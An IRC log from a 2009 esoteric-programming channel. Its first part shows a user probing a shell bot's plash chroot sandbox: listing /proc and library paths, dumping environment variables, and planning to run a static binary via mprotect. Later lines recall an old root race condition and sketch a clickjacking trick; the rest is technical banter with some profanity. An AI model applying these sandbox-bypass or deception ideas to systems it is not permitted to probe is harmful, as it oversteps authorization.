19:17:30 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.20342
19:17:54 <HackEgo> lrwxrwxrwx 1 5000 5000 0 Jun 29 18:17 /proc/self/cwd -> /tmp/hackenv.28535
19:18:42 -!- Pthing has quit (Remote closed the connection).
19:21:10 -!- Pthing has joined.
19:21:38 <AnMaster> `fetch http://omploader.org/vMXdkaA
19:21:39 <HackEgo> 2009-06-29 18:21:39 URL:http://omploader.org/vMXdkaA [740/740] -> "vMXdkaA" [1]
19:21:44 <HackEgo> asm-test \ asm-test.S \ asm-test.c \ bin \ busybox \ paste \ quotes \ share \ tmpdir.28613 \ vMXdkaA
19:22:15 <AnMaster> `run gcc -o asm-test -O0 -std=gnu99 asm-test.c 2>&1
19:23:02 <AnMaster> `run ./asm-test ${PWD}/busybox
19:23:52 <AnMaster> GregorR, this means that the exec call never returns, even when the relevant file doesn't exist.
19:26:09 <AnMaster> `run (sleep 1; echo ab) & echo c
19:26:21 <AnMaster> `run (sleep 1; ./asm-test xxx) & echo c
19:27:22 <AnMaster> GregorR, conclusion: once asm-test was executed, (even with &) nothing after it was executed in fact!
19:27:34 <HackEgo> PLASH_FAKE_GID=5000 \ SHELL=/bin/bash \ TERM=screen \ IRC_SOCK=/tmp/multibot.HackEgo \ IRC_NICK=AnMaster \ PLASH_CAPS=conn_maker;fs_op \ PLASH_FAKE_EUID=5000 \ USER=hackbot \ http_proxy=http://127.0.0.1:3128 \ LD_LIBRARY_PATH=/usr/lib/plash/lib
19:27:38 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.26027
19:28:46 <HackEgo> X11R6 \ bin \ games \ include \ lib \ lib64 \ local \ sbin \ share \ src
19:28:58 <HackEgo> gc-uid-locks \ lib \ run-as-anonymous
19:29:02 <HackEgo> libBrokenLocale.so.1 \ libSegFault.so \ libanl.so.1 \ libc.so.6 \ libcrypt.so.1 \ libdl.so.2 \ libm.so.6 \ libmemusage.so \ libnsl.so.1 \ libnss_compat.so.2 \ libnss_dns.so.2 \ libnss_files.so.2 \ libnss_hesiod.so.2 \ libnss_nis.so.2 \ libnss_nisplus.so.2 \ libpcprofile.so \ libpthread.so.0 \ libresolv.so.2 \ librt.so.1
19:29:21 <HackEgo> /usr/bin/pager \ /usr/bin/paperconf \ /usr/bin/partx \ /usr/bin/passwd \ /usr/bin/paste \ /usr/bin/pathchk \ /usr/bin/pcretest \ /usr/bin/pdb \ /usr/bin/pdb2.5 \ /usr/bin/pdf2dsc \ /usr/bin/pdf2ps \ /usr/bin/pdffonts \ /usr/bin/pdfimages \ /usr/bin/pdfinfo \ /usr/bin/pdfopt \ /usr/bin/pdftoabw \ /usr/bin/pdftohtml
19:29:32 <HackEgo> pola-run is /usr/bin/pola-run
19:29:40 <HackEgo> /usr/bin/plash-pkg-choose \ /usr/bin/plash-pkg-deb-inst \ /usr/bin/plash-pkg-fetch \ /usr/bin/plash-pkg-install \ /usr/bin/plash-pkg-launch \ /usr/bin/plash-pkg-unpack \ /usr/bin/plash-pkg-update-avail
19:30:38 -!- asiekierka has joined.
19:30:47 <EgoBot> 83 ++++++++++[>+++++++++>++++++++>+><<<<-]>---.>++.+++++++...<++...>....<........>..>. [710]
19:30:49 <HackEgo> attr \ auxv \ cgroup \ clear_refs \ cmdline \ coredump_filter \ cpuset \ cwd \ environ \ exe \ fd \ fdinfo \ io \ limits \ loginuid \ maps \ mem \ mountinfo \ mounts \ mountstats \ net \ oom_adj \ oom_score \ pagemap \ root \ sched \ sessionid \ smaps \ stat \ statm \ status \ task \ wchan
19:31:01 <EgoBot> 84 +++++++++++[>++++++++>++++++++>+><<<<-]>-.-----.+++++++.....>+....<..>..<......>.>-. [511]
19:31:43 <asiekierka> ^bf ++++++++++[>+++++++++>++++++++>+><<<<-]>---.>++.+++++++...<++...>....<........>..>.
19:31:43 <fungot> WRYYYYYYYYYYYYYYYYYYYY.
19:32:36 <GregorR-L> !bf ++++++++++[>++++++++>>+++++++>+<<<<-]>++.+++++++.>>-...............................
19:32:36 <EgoBot> RYEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
19:32:36 <ais523> the bit at the end is rather interesting
19:32:50 <ais523> !bf_txtgen 11111111111111111111111122222222222222222222222222333333333333333333333333
19:32:53 <EgoBot> 184 ++++++++++++[>++++>++++>++++>++++<<<<-]>+....>+.>+.....<...>..>+......<...+..<+..>...<...............>..<..+........>>++...<<.<++...>.........-----------------------------------------. [724]
19:33:15 <GregorR-L> That end is severely weird ... oh wait, newline???
19:33:20 <ais523> there's a neat deficiency of bf_txtgen for you
19:33:27 <ais523> not just the newline, the rest of it is really weird too
19:33:49 <GregorR-L> Well, yeah, I think it's pretty well understood that it doesn't do runs well.
19:35:34 <ehird> 19:32 GregorR-L: What a strange thing to say :P
19:35:41 <ehird> WRY{lots,} is a meme.
19:36:03 <ehird> yes, it's from some weird game.
19:36:17 <ehird> http://encyclopediadramatica.com/ZA_WARUDO
19:36:34 <ais523> GregorR-L: even using the system it uses, something like >++++>++++>++++>+ in the main loop would have been more expected
19:38:04 <GregorR-L> But ... "wry" is actually a word ...
19:38:38 <Deewiant> "wry" is a braindead translation most likely by an American
19:39:05 <ehird> Deewiant: "Translation"?
19:39:12 <ehird> It's... not a fucking word, as far as I can tell.
19:39:20 <Deewiant> ehird: In fact, JoJo's Bizarre Adventure was not originally in English!
19:51:07 -!- asiekierka has quit (Read error: 110 (Connection timed out)).
19:51:46 <AnMaster> `run ls /var/lib/plash-chroot-jail
19:51:57 <HackEgo> bin \ dev \ etc \ home \ lib \ lib64 \ proc \ tmp \ usr
19:52:04 <ehird> GregorR-L: Do you think he'll get the hint that it's effectively unbreakable eventually?
19:52:42 <ehird> ejecting the cd rom drive of a lonely server
19:52:43 <ais523> eject famously used to contain a race condition that let you get root privileges
19:52:50 <ais523> although that was fixed ages ago
19:52:55 <ais523> probably before Linux even existed, tbh
19:52:56 <HackEgo> /bin/df: cannot read table of mounted file systems: No such file or directory
19:52:56 <ehird> oh, i thought you were being sillier than that
19:53:18 <AnMaster> GregorR, I think I know what the issue is... is the chroot where it is in empty in reality, but readdir/open/whatever calls are patched to go somewhere else?
19:53:58 <AnMaster> ehird, issue with making asm-test work
19:54:03 <AnMaster> anyway I got an idea for how to work around it
19:55:13 <AnMaster> it rather abuses some linux specific features
19:57:08 <ais523> ehird: an issue with attempts to crack out of a sandbox /is/ a feature
19:57:28 <AnMaster> ais523, it is in a chroot too, so that is pointless
19:57:35 <ehird> ais523: well, yeah
19:57:46 <AnMaster> I just want to be able to executed a statically linked binary inside the chroot
19:58:20 <AnMaster> wth, glibc removed it's viewvc thingy?
19:58:21 <GregorR-L> AnMaster: I reaaaaaaaaaaaaaally thought I explained that to you :P
19:58:32 <GregorR-L> AnMaster: The hacked glibc provides fake "syscalls"
19:58:42 <ais523> AnMaster: why not send the statically linked binary in via a pastebin, and then run it?
19:58:47 <AnMaster> but I want to execute a statically linked busybox in there
19:58:55 <HackEgo> asm-test \ asm-test.S \ asm-test.c \ bin \ busybox \ paste \ quotes \ share \ tmpdir.30622
19:59:28 <AnMaster> GregorR-L, current plan: open and read the file in. then mprotect() stuff to execute it
19:59:50 <AnMaster> if I can find how it is implemented
20:00:41 <ehird> ˀˀˀˀˀˀˀˀˀˀˀˀˀˀˀˀˀˀˀˀˀˀˀˀˀˀˀˀˀˀˀˀˀ
20:02:45 -!- olsner has joined.
20:06:00 <GregorR-L> There's an upside-down interrobang?!
20:06:35 <pikhq> In my terminal, Ctrl-Shift-2 Ctrl-Shift-E Ctrl-Shift-1 Ctrl-Shift-8.
20:06:57 <pikhq> And it's called a gnaborretni.
20:11:32 <pikhq> ⸘Gnaborretni‽ ⸘Interrobang‽
20:25:28 <AnMaster> GregorR, does egobot support dobela?
20:25:51 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
20:27:31 <pikhq> I'm the Queen of France!
20:28:21 <AnMaster> GregorR, how large is plash? I mean, installation wise
20:28:34 <AnMaster> just wondering for testing that erl thing
20:28:41 <AnMaster> since there is no gentoo package for it
20:28:56 <GregorR-L> Yeah, I realize that. I have no info.
20:29:00 <AnMaster> GregorR, well good thing, but I don't have any debian or debian-based system
20:29:24 -!- Judofyr has quit (Remote closed the connection).
20:29:30 <ehird> to install plash like that.
20:29:31 <HackEgo> apt 0.7.21 for amd64 compiled on Apr 15 2009 21:31:44 \ Usage: apt-get [options] command \ apt-get [options] install|remove pkg1 [pkg2 ...] \ apt-get [options] source pkg1 [pkg2 ...] \ \ apt-get is a simple command line interface for downloading and \ installing packages. The most frequently used commands are
20:29:45 <AnMaster> GregorR, what command checks that size
20:29:58 <GregorR-L> Not a clue. If I knew, I would have told you how much space it took :P
20:30:10 <AnMaster> ehird, ever looked at the source of the runtime linker?
20:30:33 <ehird> `run apt-get info plash
20:30:37 <ehird> `run apt-cache show plash
20:31:01 <AnMaster> 313 /* The following is not a complete strsep implementation. It cannot
20:31:01 <AnMaster> 314 handle empty delimiter strings. But this isn't necessary for the
20:31:17 <AnMaster> this is elf/dl-minimal.c in glibc source
20:31:18 <ehird> Time it took to write that comment: 30 seconds
20:31:24 <ehird> Time it would take to complete the implementation: 1 minute
20:31:33 <AnMaster> ehird, there are reasons to avoid the full one
20:31:44 <ehird> AnMaster: btw, eglibc has a viewvc.
20:31:50 <AnMaster> ehird, ld.so needs to be quite crazily optimised
20:32:05 <ehird> you complained that glibc didn't have one any more
20:32:08 <AnMaster> they forgot to add a link it seems
20:32:27 <AnMaster> they recently switched to git, and they forgot to add a link to the gitweb-thingy
20:32:33 <AnMaster> http://sourceware.org/git/?p=glibc.git;a=blob;f=elf/dl-minimal.c;h=e07029326c913aa617d09c9cf2e5453b4ef3ede6;hb=HEAD
20:32:42 <ehird> oh well, debian will kill fsf glibc anyway
20:32:51 <ehird> alas i don't think they can kill drepper
20:32:59 <ehird> AnMaster: debian are abandoning glibc for eglibc
20:33:12 <ehird> originally designed for adding embedded system support
20:33:21 <ehird> but now basically being "glibc except without that goddamn drepper guy"
20:33:25 <AnMaster> ehird, and the freebsd runtime linker is quite crazy too
20:33:28 <ehird> http://blog.aurel32.net/?p=47
20:34:29 <AnMaster> ehird, when that code is entered, you can't do malloc or use stdio for example. Nor can you just use the normal malloc(), because the pools it use and such aren't set up, or even possible to set up yet
20:34:46 <AnMaster> remember this is before the actual executable is loaded.
20:34:47 <ehird> !swedish sbrk sbrk sbrk!
20:34:47 <EgoBot> sbrk sbrk sbrk! Bork Bork Bork!
20:36:13 <AnMaster> this indicates that all Swedes are kernel programmers (yes technically userspace, but this is actually more like kernel programming than user space programming until you hit main() (or at least crt.o).
20:36:27 <pikhq> ehird: Eglibc still has embedded system support.
20:36:38 <pikhq> The idea is to make the build system flexible.
20:36:47 <pikhq> And to support useful things, like ARM.
20:36:52 <pikhq> And to not have Drepper.
20:36:53 <AnMaster> I can see where this is leading I think
20:36:59 <AnMaster> pikhq, doesn't glibc support ARM?
20:37:16 <pikhq> AnMaster: Ulrich Drepper refuses to accept patches for it.
20:37:29 <ehird> AnMaster: because he's a fucking asshole.
20:37:29 <AnMaster> some specific issues with those patches or what
20:37:35 <pikhq> He doesn't like ARM.
20:37:42 <ehird> i can't believe red hat employ him
20:37:48 <ehird> they should fire him like 10 times
20:38:00 <ehird> AnMaster: i don't think drepper is ever "official"
20:38:19 <pikhq> Also, Glibc only builds with Bash.
20:38:26 <AnMaster> ehird, I think it is too late. Considering he was one of the people working on POSIX 2008..
20:38:33 <pikhq> Because he refuses patches to make it build with straight Bourne.
20:38:44 <ehird> AnMaster: too late for what?
20:38:47 <ehird> glibc can certainly be displaced
20:38:48 <pikhq> And it won't build with -Os.
20:38:53 <pikhq> Because he refuses patches.
20:39:01 <ehird> and he's obviously criminally incompetent wrt to glibc maintainership
20:39:02 <AnMaster> pikhq, I can partly understand that, plain sh is quite painful compared to bash...
20:39:03 <ehird> causing people to stop using it
20:39:08 <ehird> thus redhat has good grounds to fire him
20:39:11 <ehird> AnMaster: the patch was ONE LINE, iirc
20:39:17 <ehird> and he refused to apply it
20:39:18 <pikhq> AnMaster: People have submitted patches to make it work.
20:40:15 <AnMaster> lets see what will happen in the future.
20:40:57 <pikhq> Arch is also switching to Eglibc.
20:41:26 <AnMaster> pikhq, oh when? And will there be any possible transition issues with it?
20:41:34 <ehird> ofc, ubuntu will probably inherit the debian change
20:41:39 <pikhq> Gentoo may, but quite likely not for a while; it's a bitch to switch libc versions in Gentoo.
20:41:39 <ehird> so it's pretty much a done deal as far as marketshare goes
20:41:56 <GregorR-L> pikhq: Like it's trivial to switch glibc in Debian X-D
20:42:33 <AnMaster> pikhq, I never had issues with that switch
20:42:36 <pikhq> GregorR-L: Touché.
20:42:42 <AnMaster> not even back when it went linuxthreads -> ntpl
20:42:53 <pikhq> AnMaster: It's a bitch for the Gentoo maintainers, not the users.
20:42:54 <AnMaster> I think mono broke (I used C# back then...)
20:43:18 <pikhq> And they've got a bit less of a labor force than Debian.
20:43:21 <AnMaster> fairly painless considering how huge the change was
20:43:40 <AnMaster> pikhq, if it is really binary compatible, I fail to see why it would be so hard
20:44:10 <ehird> binary compatible "where possible", actually.
20:44:16 <ehird> or where feasible, I forget
20:44:25 <GregorR-L> Which is virtually every conceivable situation :P
20:44:35 <ehird> What it actually means is "when we like".
20:44:45 <GregorR-L> Yeah, but they like being compatible :P
20:44:56 <AnMaster> where is the list of important changes compared to "plain" glibc
20:45:09 <ehird> i think it's compatible atm
20:45:14 <ehird> and what i said was just cynicism
20:45:26 <ehird> AnMaster: http://www.eglibc.org/mission
20:45:28 <AnMaster> ehird, I meant... stuff like "added this cool feature"
20:45:41 <ehird> see their version control?
20:46:14 <AnMaster> ehird, yeah I could, but that would include trivial changes too. I meant something more like "highlights in this release" skipping white-space changes and similar :P
20:46:28 <AnMaster> I guess you can't get everything
20:46:33 <ehird> search for YOUR MOM.
20:46:44 <pikhq> AnMaster: Gentoo is slow to do minor version bumps.
20:46:56 <pikhq> Since they like to treat @system like Debian Stable.
20:53:18 <AnMaster> ffs... http://plash.beasts.org/wiki/BuildingFromSource <-- you think that would be generic instructions right?...
20:53:44 <AnMaster> plash seems very debian-oriented...
20:53:46 <ehird> Uhh, isn't plash Debian only?
20:53:56 <GregorR-L> Yeah, plash is very Debian-oriented. But it's not Debian-only.
20:54:11 <GregorR-L> I've heard of it run on other systems, it's just a bit caveat emptor.
20:54:45 -!- KingOfKarlsruhe has joined.
20:55:20 <pikhq> Could probably run on Gentoo with some effort.
20:56:06 -!- KingOfKarlsruhe has left (?).
20:58:06 <GregorR-L> Alternatively, you could get debootstrap, which is easy to get running on other systems, and hey presto :P
20:58:39 <ais523> what does debootstrap do?
20:59:21 <pikhq> Why yes, I'm well aware that debootstrap is easy to get running on other systems.
20:59:40 <AnMaster> I'm a but low on disk space until I get that replacement disk...
20:59:45 <pikhq> It's dev-util/debootstrap
21:00:14 <AnMaster> since my second harddrive broke down last night... I'm left with about 1 GB free space in total
21:00:31 <pikhq> And I keep it installed because I sometimes have call for getting a chroot running at a random whim.
21:00:52 <GregorR-L> pikhq: On any system it's the easiest way to get a working chroot ^^
21:01:06 <GregorR-L> On Debian it's like Russian nesting dolls of Debianness! :P
21:01:30 <pikhq> I've also used it to install Debian on an external hard drive.
21:02:09 <pikhq> (friend at college had a hard drive failure on his laptop, and couldn't get a replacement for a few months. So, plug in his external drive, parted, debootstrap, et viola.)
21:02:37 <pikhq> Erm, wait. No, that was Kubuntu I set up.
21:02:41 <pikhq> Still debootstrap. ;)
21:03:32 <AnMaster> pikhq, it could boot from the external drive?
21:03:45 <AnMaster> I guess that is common nowdays
21:03:46 <pikhq> AnMaster: Just have to install Grub.
21:03:59 <pikhq> Yes, USB booting is very common.
21:04:11 <pikhq> And if it weren't, I could just stick isolinux on a CD. ;)
21:04:12 <ehird> very common = everything has it
21:04:22 <ehird> isolinux? bah! use grub on a cd.
21:05:06 <pikhq> Hmm. Actually, yeah. That'd work well.
21:05:32 -!- BeholdMyGlory has quit (Remote closed the connection).
21:05:38 <ehird> arch uses grub to make an unholy menu system of slowness
21:05:45 <ehird> it's cute and horrible to use.
21:06:01 <AnMaster> ehird, um? I don't remember it being slow
21:06:10 <ehird> AnMaster: eh, takes a second or two to switch to a menu
21:06:12 <pikhq> Well, if they're going to do *that*, they'd be far better to use FreeDOS.
21:06:14 <ehird> your computer is just slow so you don't notice :P
21:06:24 <pikhq> Yes, a FreeDOS batch script with loadlin.
21:06:27 <AnMaster> ehird, oh I wouldn't notice that on the pentium3 I used it on...
21:06:31 <ehird> pikhq: it actually has grub lines that start grub specifying a grub config file
21:06:40 <ehird> and then "back" items that do it again for the main menu
21:06:48 <ehird> a rather fucked up system
21:06:48 <AnMaster> ehird, I wasn't using it on my desktop
21:07:05 <pikhq> ehird: Better than chain-loading GRUB installations.
21:07:15 <AnMaster> ehird, hm can you install arch over ssh? that is, boot the cd, set password, start ssh, then to the rest over ssh?
21:07:20 <AnMaster> I don't remember that being possible
21:07:30 <ehird> AnMaster: Can you install a donkey on a futon?
21:07:36 <ehird> I don't remember that being possible.
21:07:48 <pikhq> That's certainly possible with Debian and Gentoo.
21:07:50 <AnMaster> ehird, in fact I only remember ssh on install cd being possible on gentoo
21:07:54 <ehird> (translation: Why are you asking me? Why is that a question? You even say you don't recall it being possible.)
21:08:03 <ehird> pikhq: what, installing a donkey on a futon?
21:08:09 <AnMaster> pikhq, must be rather hidden for debian?
21:08:32 <ehird> debian installation cds do everything
21:08:33 <AnMaster> as in, check the process in a vm, then do the same on a headless computer
21:08:55 <pikhq> But yes, Debian has a very flexible installation process.
21:13:12 <pikhq> In expert mode, it has an option for "continue install remotely over SSH".
21:13:36 <pikhq> If you want this to happen automatically, you can remaster the CD with a preseed file that makes that the default.
21:13:37 <AnMaster> pikhq, I wish freebsd had it though
21:14:03 <pikhq> Also, Debian can readily be installed over serial console.
21:14:06 <AnMaster> since when I install freebsd it tends to be on a system where the options are either ssh or kvm
21:14:28 -!- sebbu2 has joined.
21:19:22 -!- GregorR-L has quit (Read error: 110 (Connection timed out)).
21:29:32 <ais523> pikhq: is there a completely unattended installer?
21:29:44 <ais523> as in, boot off the CD and it installs by itself without a need to do anything?
21:29:45 -!- sebbu has quit (Connection timed out).
21:30:44 <pikhq> ais523: You need to remaster the disc to have a preseed file which has answers to the installer questions.
21:31:01 <ais523> I guessed it would be something like that
21:31:06 <pikhq> Or host the installer on TFTP with a preseed file.
21:34:46 <ehird> ais523: how about for actual possibility reasons
21:34:52 <ehird> unless you depend on a CD-RW
21:35:00 <ehird> which is still remastering
21:35:08 <ais523> ehird: you could have something like an alternate ISO for automatic install
21:35:22 <ais523> or just a really long timeout, don't reply for 5 minutes and it does unattended install, although that's a bad idea for other reasons
21:35:24 <ehird> ais523: but it doesn't know how you want t o install...
21:36:55 <pikhq> It's also possible to pass "autourl=foo" to the Debian installer and make it load the preseed from the network...
21:37:55 <GregorR> "Manual of USB Folding Hamburger Controller"
21:38:21 <GregorR> Have I mentioned that I wuuuuuuuuuuurve imported Chinese crap?
21:41:10 <ais523> a USB Folding Hamburger?
21:41:14 <GregorR> A USB folding game controller.
21:41:29 <GregorR> It folds "hamburger-style", for those of you who folded paper in Elementary school in America :P
21:41:29 <ehird> i preferred it when it was a hamburger
21:42:06 <GregorR> Or a hamburger controller ... a device that controls hamburgers.
21:42:12 <ais523> here in the UK we don't fold hamburgers at all
21:42:19 <pikhq> Ah, US elementary school.
21:42:36 <pikhq> Can't teach anything useful, so you get paper folding for 5 years.
21:42:39 <GregorR> ais523: It's a description of a direction of paper folding when the paper is non-square.
21:42:57 <pikhq> GregorR: A4 is also non-square.
21:43:22 <GregorR> I was e.g.'ing that just to get in another US reference :P
21:45:03 <pikhq> A4 has a 1:sqrt(2) aspect ratio.
21:45:07 <pikhq> Pretty non-square, IMO.
21:45:45 <pikhq> And An paper has the interesting property that you can get An+1 paper by cutting it in half.
21:46:32 <AnMaster> GregorR, would be nicer if it folded actual hambugers
21:47:16 * pikhq doesn't get the Bn paper standards
21:47:36 <ehird> AnMaster: no, it controls foldable hamburgers
21:47:40 <AnMaster> <pikhq> And An paper has the interesting property that you can get An+1 paper by cutting it in half. <--- err yeah? What's so special with that...
21:47:47 <ehird> pikhq: 1:phi ratio FTW!
21:47:54 -!- coppro has joined.
21:47:58 <AnMaster> <ehird> AnMaster: no, it controls foldable hamburgers <-- ah right
21:47:59 <pikhq> AnMaster: That's what C is for.
21:48:21 <ehird> (he means it's like hands)
21:48:49 <pikhq> B0 is 1mxsqrt(2)m, and Bn is the geometric mean between An and An-1.
21:49:20 <Deewiant> C is also bigger than A but not as big as B, so it gets a C for not achieving anything special.
21:49:22 <pikhq> And Cn is the geometric mean between An and Bn.
21:51:21 <pikhq> US paper sizes have neither rhyme nor reason.
21:51:36 <GregorR> But they do have ... flavor?
21:51:58 <pikhq> Letter is slightly smaller than A4, and legal is slightly *larger*.
21:51:59 <Deewiant> Letter - about a quarter of the average maximum stretch of an experienced vatman's arms.
21:52:31 <Deewiant> There's also government-letter.
21:52:45 <AnMaster> <Deewiant> Letter - about a quarter of the average maximum stretch of an experienced vatman's arms. <-- seriously?
21:53:03 <Deewiant> The American Forest and Paper Association argues that the dimension originates from the days of manual paper making, and that the 11-inch length of the page is about a quarter of "the average maximum stretch of an experienced vatman's arms".[1] However, this does not explain the width or aspect ratio.
21:53:20 <ehird> a vatman is a man... WHO IS ALSO A VAT!!!!!!!!
21:53:27 <Deewiant> He's the man who works at the vat.
21:53:29 <GregorR> ehird: All men are also vats.
21:53:37 <AnMaster> ehird, ah, so not a man made in a cloning vat?
21:53:39 <Deewiant> In this case, he shakes the pulp into the wire.
21:54:01 <Deewiant> [1] is http://www.afandpa.org/Content/NavigationMenu/Pulp_and_Paper/Fun_Facts/The_U_S__Standard_Paper_Size.htm, which is incidentally ill-formed XML.
21:54:13 <Deewiant> They forgot to run ASP on their .htm files.
21:54:32 <AnMaster> Deewiant, what browser can you view it in
21:54:32 <Deewiant> <script type="text/javascript"> var addthis_pub = "shashankhazrati";</script>
21:54:40 <pikhq> Then we've got the ANSI standards, which are A-E. A is letter, n+1 is n*2.
21:54:47 <Deewiant> AnMaster: 2009-06-29 23:54:12 ( Deewiant) They forgot to run ASP on their .htm files.
21:54:57 <ehird> <CMS:ContentBlock id="ContentBlock2" runat="server" DefaultContentID="874">
21:54:57 <ehird> </CMS:ContentBlock>
21:55:01 -!- blackh has joined.
21:55:02 <ehird> A hefty block of content, that.
21:55:04 <Deewiant> If you look at the source, you'll see that it's the ASP source of a 404 page.
21:55:08 <AnMaster> Deewiant, it sends a strict mime type I think, otherwise firefox would render it as good as it could by itself
21:55:12 -!- Warrigal has changed nick to Duffy.
21:55:20 <ehird> AnMaster: it sends the official xhtml mime type, you mean.
21:55:28 <ehird> xhtml 1.0 (not 1.1) allows text/html for backwards compoopability.
21:55:35 <Deewiant> My recommendation for now is http://web.archive.org/web/20071024123755/http://www.afandpa.org/Content/NavigationMenu/Pulp_and_Paper/Fun_Facts/The_U_S__Standard_Paper_Size.htm.
21:55:37 <ehird> (read: IE6 doesn't do application/falafel)
21:55:43 <ehird> (it tries to downloadify it.)
21:56:10 <AnMaster> in fact I made a script to check if the browser supports the mime type, and only then use the new one
21:56:20 <ehird> Yes, just like every other XHTML-using person.
21:56:27 <AnMaster> nowdays I don't think it is actually needed
21:56:29 -!- Duffy has changed nick to Warrigal.
21:56:42 <AnMaster> ehird, yes we all did back when IE6 was still common
21:56:52 <ehird> No, that's not true.
21:56:54 <pikhq> IE6 is still used by 25% of people online.
21:56:59 <ehird> Some of us didn't use XHTML because we weren't insane.
21:57:03 <ehird> I was, alas, not among them until later.
21:57:25 <AnMaster> the pages I make? IE6 is definitely a minority
21:58:46 <AnMaster> 65.55.109.172 bzr.kuonet.org - [29/Jun/2009:12:16:45 +0000] "GET /cfunge/trunk/revision/183/doc/ HTTP/1.0" 200 5786 "http://search.live.com/results.aspx?q=revision" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)"
21:58:50 -!- Warrigal has changed nick to Duffy.
21:59:34 -!- Duffy has changed nick to Warrigal.
21:59:59 <Deewiant> I love the way it adds itself to the user-agent string without asking
22:00:39 <Deewiant> And it isn't exactly useful given that I usually browse from Linux.
22:01:13 <ehird> how does it add it to your linux user agent string?
22:01:29 <Deewiant> It adds it to some configuration file in my profile, which is shared between the OSs.
22:02:02 <Deewiant> general.useragent.extra.microsoftdotnet is the preference name.
22:02:13 <ehird> what is this OS-shared configuration profile?
22:02:15 <Deewiant> So presumably it's in prefs.js.
22:02:32 <Deewiant> It is the Firefox profile. :-P
22:02:48 <ais523> wow, the obnoxious Microsoft extension that they pushed onto Firefox affects Linux installations too, if you're sharing config?
22:02:51 <ais523> I bet Microsoft didn't expect that
22:04:54 <AnMaster> wouldn't simply disabling the extension solve the issue
22:05:04 <AnMaster> and yeah, why did they install that extension...
22:05:22 <pikhq> Because Microsoft is a bunch of pricks.
22:05:38 <Deewiant> AnMaster: No, disabling the extension doesn't remove .NET CLR from the UA.
22:05:38 <AnMaster> and what did mozilla.org think about it
22:05:55 <pikhq> The extension was uninstallable.
22:05:57 <Deewiant> Microsoft .NET Framework Assistant 1.1
22:06:11 <ais523> pikhq: /was/ ununinstallable, although Microsoft patched it so it could be
22:06:13 <Deewiant> Adds ClickOnce support and the ability to report installed .NET versions to the web server.
22:06:39 <Deewiant> Oh, you're right, it is uninstallable now, hadn't noticed.
22:06:55 <Deewiant> Uninstalling it did remove the string from the UA, at least.
22:09:39 <nooga> I WANT MAC PROOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
22:09:40 <Deewiant> I do not know, and I'm not sure I wish to.
22:09:44 <ais523> AnMaster: basically, it's for installers for .NET programs
22:09:53 <ais523> so you can click on a link and the installer starts running, without confirmation
22:09:56 <pikhq> Because ActiveX was a good idea.
22:10:09 <ais523> in theory it's safe as they only allow approved installers, and the user can choose not to install
22:10:16 <ais523> in practice, who knows?
22:10:22 <ehird> nooga: Step 1. Get ~$3,000. Step 2. Mac Pro!
22:10:33 <Deewiant> The options did have a toggle for whether to ask for confirmation.
22:10:51 <ais523> for instance, theory: you can create lots of windows without window decorations, and place them at known locations on the screen, and make them steal focus
22:10:57 <ehird> nooga: http://www.apple.com/
22:10:59 <ais523> and they cover up everything but the 'accept' button
22:11:15 <ais523> which is somehow disguised as part of something else
22:13:40 -!- blackh has left (?).
22:14:16 <nooga> ehird: can't buy it
22:14:33 <nooga> i have to eat, buy petrol, pay rent etc.
22:14:34 <ehird> nooga: then you evidently don't have $3k spare.
22:14:42 <pikhq> ais523: Gah. So awful.
22:14:45 <ehird> well now that doesn't count nooga :-P
22:14:53 <pikhq> Win32, the fundamentally flawed API.
22:15:10 <ais523> pikhq: do you think .NET is also fundamentally flawed?
22:16:11 <pikhq> ais523: .NET's main flaw is that it, like Java, has the theory that if some object-oriented programming is good, a lot of it is absolutely great.
22:16:35 <ais523> I at least give Java credit for being consistent, by the way
22:17:05 <pikhq> Mmm, yeah, there is at least that...
22:18:40 <pikhq> .NET has one other flaw. It's core design philosophy is "ME TOO!" (like some dumb AOLer)
22:19:44 <ehird> AOL references are fresh and hip
22:20:07 <pikhq> That was actually a Weird Al reference.
22:20:41 <ehird> ...weird al invented AOL="Me too!"?
22:20:59 <ehird> Uhhh...huuuhh...sorry, somebody put me in the particle decelerator there.
22:22:26 <pikhq> No, he used the phrase "saying 'Me too!' like some dumb AOLer"
22:23:13 <pikhq> In "It's All About the Pentiums".
22:23:22 <ehird> That's as much of a reference to him as... as... as something someone else didn't invent.
22:23:52 <pikhq> Fuck off, I don't care, lalalala, and you're dumb.
22:34:27 -!- BeholdMyGlory has joined.
22:43:26 <ais523> !bf_txtgen Hello, World!
22:43:30 <EgoBot> 127 ++++++++++[>+++++++>++++++++++>++++>+<<<<-]>++.>+.+++++++..+++.>++++.------------.<<+++++++++++++++.>.+++.------.--------.>+.>. [398]
22:44:37 <AnMaster> <pikhq> Fuck off, I don't care, lalalala, and you're dumb. <-- stop acting like ehird... It makes me confused...
22:44:51 <AnMaster> ais523, there are considerably shorter versions
22:46:04 <zid> use a 5bit encoding and a decoder? :P
22:46:18 <ais523> AnMaster: I know, I was responding to a question in #IRP
22:46:32 <ais523> zid: interesting idea; that's likely longer for short strings, though
22:46:35 <ais523> for long strings, I don't know
22:47:39 <EgoBot> 72 +++++++++++++[>>+++++++++++++++>++++++++++++++>+<<<<-]>>.>.<.>.<.>.>---. [167]
22:47:49 <AnMaster> and that was one silly encoding...
22:48:09 <pikhq> !bf +++++++++++++[>>+++++++++++++++>++++++++++++++>+<<<<-]>>.>.<.>.<.>.>---.
22:48:13 <EgoBot> 246 +++++++++++++++[>+++++++++++++>++>+++++++>+++++++++<<<<-]>.>>>--.-------------------------.-----------.<+++++.>+++.<<++.<.-------------------------------.>>++++.<.>>+.<----.<.<+++++++++++++++++++++++++++++++.-------------.>----------------------. [709]
22:50:08 <zid> i'd probably just block copy the smallest character, then add/sub the dfferences per char
22:50:22 <zid> or some midline character
22:50:27 <nooga> mardi gras mardi gras
22:50:38 <zid> so abcdefghijkl just ends up being a load of 'a', 25 copies and a loop adding the loop iterator
22:51:10 <zid> I am however, quite mad
